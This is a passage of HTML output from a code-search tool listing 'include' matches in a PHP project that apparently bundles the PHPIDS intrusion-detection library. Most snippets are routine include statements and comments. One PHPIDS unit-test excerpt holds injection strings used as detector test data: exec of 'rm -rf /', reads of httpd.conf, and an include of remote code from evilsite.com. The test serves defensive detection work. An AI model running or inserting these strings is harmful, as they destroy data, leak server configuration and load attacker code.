class='line_number'>99</span> <span class='match_count'>(25/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- private $init = NULL; 97- 98- /** 99: * This function <span class='match_highlight'>include</span>s the IDS vendor parts and runs the 100- * detection routines on the request array. 101- * 102- * @param object cake controller object</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>110</span> <span class='match_count'>(26/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>107- $this->controller = &$controller; 108- $this->name = Inflector::singularize($this->controller->name); 109- 110: #set <span class='match_highlight'>include</span> path for IDS and store old one 111: $path = get_<span class='match_highlight'>include</span>_path(); 112: set_<span class='match_highlight'>include</span>_path( VENDORS . 'phpids/'); 113- 114- #require the needed files 115- vendor('phpids/IDS/Init');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>128</span> <span class='match_count'>(27/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>125- $ids = new IDS_Monitor($this->init, $_REQUEST); 126- $result = $ids->run(); 127- 128: // Re-set <span class='match_highlight'>include</span> path 129: set_<span class='match_highlight'>include</span>_path($path); 130- 131- if (!$result->isEmpty()) { 132- $this->react($result);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/ReportTest.php</span>:<span class='line_number'>23</span> <span class='match_count'>(28/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- */ 21- 22-require_once 'PHPUnit/Framework/TestCase.php'; 23:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24-require_once 'IDS/Report.php'; 25-require_once 'IDS/Event.php'; 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(29/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:MonitorTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21-require_once 'PHPUnit/Framework/TestCase.php'; 22:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 23-require_once 'IDS/Monitor.php'; 24-require_once 'IDS/Init.php'; 25-require_once 'IDS/Filter/Storage.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1015</span> <span class='match_count'>(30/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1012- $exploits[] = '"; <?php exec("rm -rf /"); ?>'; 1013- $exploits[] = '; file_get_contents(\'/usr/local/apache2/conf/httpd.conf\');'; 1014- $exploits[] = ';echo file_get_contents(implode(DIRECTORY_SEPARATOR, array("usr","local","apache2","conf","httpd.conf"))'; 1015: $exploits[] = '; <span class='match_highlight'>include</span> "http://evilsite.com/evilcode"'; 1016- $exploits[] = '; rm -rf /\0'; 1017- $exploits[] = '"; $_a=(! \'a\') . "php"; $_a.=(! \'a\') . "info"; $_a(1); $b="'; 1018- $exploits[] = '";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/EventTest.php</span>:<span class='line_number'>23</span> <span class='match_count'>(31/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- */ 21- 22-require_once 'PHPUnit/Framework/TestCase.php'; 23:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24-require_once 'IDS/Event.php'; 25-require_once 'IDS/Filter.php'; 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/ExceptionTest.php</span>:<span class='line_number'>23</span> <span class='match_count'>(32/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- */ 21- 22-require_once 'PHPUnit/Framework/TestCase.php'; 23:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24-require_once 'IDS/Init.php'; 25-require_once 'IDS/Caching/Factory.php'; 26-require_once 'IDS/Report.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/FilterTest.php</span>:<span class='line_number'>23</span> <span class='match_count'>(33/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- */ 21- 22-require_once 'PHPUnit/Framework/TestCase.php'; 23:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24-require_once 'IDS/Init.php'; 25- 26-class IDS_FilterTest extends PHPUnit_Framework_TestCase</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/InitTest.php</span>:<span class='line_number'>23</span> <span class='match_count'>(34/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- */ 21- 22-require_once 'PHPUnit/Framework/TestCase.php'; 23:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24-require_once 'IDS/Init.php'; 25- 26-class IDS_InitTest extends PHPUnit_Framework_TestCase {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/CachingTest.php</span>:<span class='line_number'>23</span> <span class='match_count'>(35/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- */ 21- 22-require_once 'PHPUnit/Framework/TestCase.php'; 23:set_<span class='match_highlight'>include</span>_path(get_<span class='match_highlight'>include</span>_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24-require_once 'IDS/Init.php'; 25-require_once 'IDS/Caching/Factory.php'; 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>105</span> <span class='match_count'>(36/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>102- 103- if ($caching && $caching != 'none') { 104- $this->cacheSettings = $init->config['Caching']; 105: <span class='match_highlight'>include</span>_once 'IDS/Caching/Factory.php'; 106- $this->cache = IDS_Caching::factory($init, 'storage'); 107- } 108-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>233</span> <span class='match_count'>(37/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>230- $nocache = $filters instanceof SimpleXMLElement; 231- $filters = $nocache ? $filters->filter : $filters; 232- 233: <span class='match_highlight'>include</span>_once 'IDS/Filter.php'; 234- 235- foreach ($filters as $filter) { 236-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>328</span> <span class='match_count'>(38/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>325- $nocache = !is_array($filters); 326- $filters = $nocache ? $filters->filters->filter : $filters; 327- 328: <span class='match_highlight'>include</span>_once 'IDS/Filter.php'; 329- 330- foreach ($filters as $filter) { 331-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Factory.php</span>:<span class='line_number'>76</span> <span class='match_count'>(39/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>73- $wrapper . '.php'; 74- 75- if (file_exists($path)) { 76: <span class='match_highlight'>include</span>_once $path; 77- 78- if (class_exists($class)) { 79- $object = call_user_func(array($class, 'getInstance'),</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php</span>:<span class='line_number'>13</span> <span class='match_count'>(40/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- * sample usage. 11- * 12- * @note 13: * This filter can also be used on stylesheets not <span class='match_highlight'>include</span>d in the 14- * document--something purists would probably prefer. Just directly 15- * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() 16- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php</span>:<span class='line_number'>80</span> <span class='match_count'>(41/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>77- HTML Purifier autoloader registrar is not compatible 78- with non-static object methods due to PHP Bug #44144; 79- Please do not use HTMLPurifier.autoload.php (or any 80: file that <span class='match_highlight'>include</span>s this file); instead, place the code: 81- spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\')) 82- after your own autoloaders. 83- ');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>50</span> <span class='match_count'>(42/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>47-permit persons to whom the Software is furnished to do so, subject to 48-the following conditions: 49- 50:The above copyright notice and this permission notice shall be <span class='match_highlight'>include</span>d 51-in all copies or substantial portions of the Software. 52- 53-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php</span>:<span class='line_number'>114</span> <span class='match_count'>(43/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>111- // later keys takes precedence 112- foreach($def->attr as $k => $v) { 113- if ($k === 0) { 114: // merge in the <span class='match_highlight'>include</span>s 115: // sorry, no way to override an <span class='match_highlight'>include</span> 116- foreach ($v as $v2) { 117- $this->attr[0][] = $v2; 118- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php</span>:<span class='line_number'>31</span> <span class='match_count'>(44/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>28- } 29- foreach ($coll as $attr_i => $attr) { 30- if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) { 31: // merge in <span class='match_highlight'>include</span>s 32- $this->info[$coll_i][$attr_i] = array_merge( 33- $this->info[$coll_i][$attr_i], $attr); 34- continue;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php</span>:<span class='line_number'>42</span> <span class='match_count'>(45/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>39- } 40- // perform internal expansions and inclusions 41- foreach ($this->info as $name => $attr) { 42: // merge attribute collections that <span class='match_highlight'>include</span> others 43- $this->performInclusions($this->info[$name]); 44- // replace string identifiers with actual attribute objects 45- $this->expandIdentifiers($this->info[$name], $attr_types);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URISchemeRegistry.php</span>:<span class='line_number'>41</span> <span class='match_count'>(46/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>38- if (!$config) $config = HTMLPurifier_Config::createDefault(); 39- $null = null; // for the sake of passing by reference 40- 41: // important, otherwise attacker could <span class='match_highlight'>include</span> arbitrary file 42- $allowed_schemes = $config->get('URI', 'AllowedSchemes'); 43- if (!$config->get('URI', 'OverrideAllowedSchemes') && 44- !isset($allowed_schemes[$scheme])</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php</span>:<span class='line_number'>26</span> <span class='match_count'>(47/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>23- new HTMLPurifier_AttrTransform_EnumToCSS('align', array( 24- // we're following IE's behavior, not Firefox's, due 25- // to the fact that no one supports caption-side:right, 26: // W3C <span class='match_highlight'>include</span>d (with CSS 2.1). This is a slightly 27- // unreasonable attribute! 28- 'left' => 'text-align:left;', 29- 'right' => 'text-align:right;',</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php</span>:<span class='line_number'>142</span> <span class='match_count'>(48/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>139- * - Check for literal object name 140- * - Throw fatal error 141- * If your object name collides with an internal class, specify 142: * your module manually. All modules must have been <span class='match_highlight'>include</span>d 143- * externally: registerModule will not perform inclusions for you! 144- */ 145- public function registerModule($module, $overload = false) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php</span>:<span class='line_number'>147</span> <span class='match_count'>(49/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>144- // generate filename 145- $filename = $this->dir . '/Language/messages/' . $code . '.php'; 146- 147: // default fallback : may be overwritten by the ensuing <span class='match_highlight'>include</span> 148- $fallback = ($code != 'en') ? 'en' : false; 149- 150- // load primary localisation 151- if (!file_exists($filename)) { 152: // skip the <span class='match_highlight'>include</span>: will rely solely on fallback 153- $filename = $this->dir . '/Language/messages/en.php'; 154- $cache = array(); 155- } else { 156: <span class='match_highlight'>include</span> $filename; 157- $cache = compact($this->keys); 158- } 159-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>14</span> <span class='match_count'>(50/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- * @note The public variables in a module should almost directly 12- * correspond to the variables in HTMLPurifier_HTMLDefinition. 13- * However, the prefix info carries no special meaning in these 14: * objects (<span class='match_highlight'>include</span> it anyway if that's the correspondence though). 15- * @todo Consider making some member functions protected 16- */ 17-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>123</span> <span class='match_count'>(51/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>120- * Set as false to skip this step. 121- * @param $contents Allowed children in form of: 122- * "$content_model_type: $content_model" 123: * @param $attr_<span class='match_highlight'>include</span>s What attribute collections to register to 124- * element? 125- * @param $attr What unique attributes does the element define? 126- * @note See ElementDef for in-depth descriptions of these parameters. 127- * @return Created element definition object, so you 128- * can set advanced parameters 129- */ 130: public function addElement($element, $type, $contents, $attr_<span class='match_highlight'>include</span>s = array(), $attr = array()) { 131- $this->elements[] = $element; 132- // parse content_model 133- list($content_model_type, $content_model) = $this->parseContents($contents); 134- // merge in attribute inclusions 135: $this->mergeInAttrIncludes($attr, $attr_<span class='match_highlight'>include</span>s); 136- // add element to content sets 137- if ($type) $this->addElementToContentSet($element, $type); 138- // create element</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>203</span> <span class='match_count'>(52/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>200- } 201- 202- /** 203: * Convenience function that merges a list of attribute <span class='match_highlight'>include</span>s into 204- * an attribute array. 205- * @param $attr Reference to attr array to modify 206: * @param $attr_<span class='match_highlight'>include</span>s Array of <span class='match_highlight'>include</span>s / string <span class='match_highlight'>include</span> to merge in 207- */ 208: public function mergeInAttrIncludes(&$attr, $attr_<span class='match_highlight'>include</span>s) { 209: if (!is_array($attr_<span class='match_highlight'>include</span>s)) { 210: if (empty($attr_<span class='match_highlight'>include</span>s)) $attr_<span class='match_highlight'>include</span>s = array(); 211: else $attr_<span class='match_highlight'>include</span>s = array($attr_<span class='match_highlight'>include</span>s); 212- } 213: $attr[0] = $attr_<span class='match_highlight'>include</span>s; 214- } 215- 216- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php</span>:<span class='line_number'>143</span> <span class='match_count'>(53/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>140- 141- /** 142- * Generates attribute declarations from attribute array. 143: * @note This does not <span class='match_highlight'>include</span> the leading or trailing space. 144- * @param $assoc_array_of_attributes Attribute array 145- * @param $element Name of element attributes are for, used to check 146- * attribute minimization.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.path.php</span>:<span class='line_number'>9</span> <span class='match_count'>(54/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- * without any other side-effects. 7- */ 8- 9:set_<span class='match_highlight'>include</span>_path(dirname(__FILE__) . PATH_SEPARATOR . get_<span class='match_highlight'>include</span>_path() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php</span>:<span class='line_number'>5</span> <span class='match_count'>(55/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * @file 5: * This file was auto-generated by generate-<span class='match_highlight'>include</span>s.php and <span class='match_highlight'>include</span>s all of 6- * the core files required by HTML Purifier. Use this if performance is a 7- * primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS 8- * FILE, changes will be overwritten the next time the script is run.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php</span>:<span class='line_number'>13</span> <span class='match_count'>(56/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- * @version 3.2.0 11- * 12- * @warning 13: * You must *not* <span class='match_highlight'>include</span> any other HTML Purifier files before this file, 14- * because 'require' not 'require_once' is used. 15- * 16- * @warning 17: * This file requires that the <span class='match_highlight'>include</span> path contains the HTML Purifier 18- * library directory; this is not auto-set. 19- */ 20-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php</span>:<span class='line_number'>5</span> <span class='match_count'>(57/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * @file 5: * This file was auto-generated by generate-<span class='match_highlight'>include</span>s.php and <span class='match_highlight'>include</span>s all of 6- * the core files required by HTML Purifier. This is a convenience stub that 7: * <span class='match_highlight'>include</span>s all files using dirname(__FILE__) and require_once. PLEASE DO NOT 8- * EDIT THIS FILE, changes will be overwritten the next time the script is run. 9- * 10: * Changes to <span class='match_highlight'>include</span>_path are not necessary. 11- */ 12- 13-$__dir = dirname(__FILE__);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php</span>:<span class='line_number'>4</span> <span class='match_count'>(58/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-/** 4: * This is a stub <span class='match_highlight'>include</span> that automatically configures the <span class='match_highlight'>include</span> path. 5- */ 6- 7:set_<span class='match_highlight'>include</span>_path(dirname(__FILE__) . PATH_SEPARATOR . get_<span class='match_highlight'>include</span>_path() ); 8-require_once 'HTMLPurifier/Bootstrap.php'; 9-require_once 'HTMLPurifier.autoload.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>224</span> <span class='match_count'>(59/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>221- ); 222- } 223- 224: <span class='match_highlight'>include</span>_once 'IDS/Report.php'; 225- $this->report = new IDS_Report; 226- } 227-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>260</span> <span class='match_count'>(60/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>257- if (is_string($value)) { 258- 259- if ($filter = $this->_detect($key, $value)) { 260: <span class='match_highlight'>include</span>_once 'IDS/Event.php'; 261- $this->report->addEvent( 262- new IDS_Event( 263- $key,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>317</span> <span class='match_count'>(61/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>314- } 315- 316- // use the converter 317: <span class='match_highlight'>include</span>_once 'IDS/Converter.php'; 318- $value = IDS_Converter::runAll($value); 319- $value = IDS_Converter::runCentrifuge($value, $this); 320-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>368</span> <span class='match_count'>(62/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>365- */ 366- private function _purifyValues($key, $value) { 367- 368: <span class='match_highlight'>include</span>_once $this->pathToHTMLPurifier; 369- 370- if (!is_writeable($this->HTMLPurifierCache)) { 371- throw new Exception(</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Init.php</span>:<span class='line_number'>87</span> <span class='match_count'>(63/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>84- */ 85- private function __construct($configPath = null) 86- { 87: <span class='match_highlight'>include</span>_once 'IDS/Monitor.php'; 88: <span class='match_highlight'>include</span>_once 'IDS/Filter/Storage.php'; 89- 90- if ($configPath) { 91- $this->setConfigPath($configPath);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Report.php</span>:<span class='line_number'>96</span> <span class='match_count'>(64/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>93- /** 94- * Constructor 95- * 96: * @param array $events the events the report should <span class='match_highlight'>include</span> 97- * 98- * @return void 99- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>4</span> <span class='match_count'>(65/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>15</span> <span class='match_count'>(66/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre 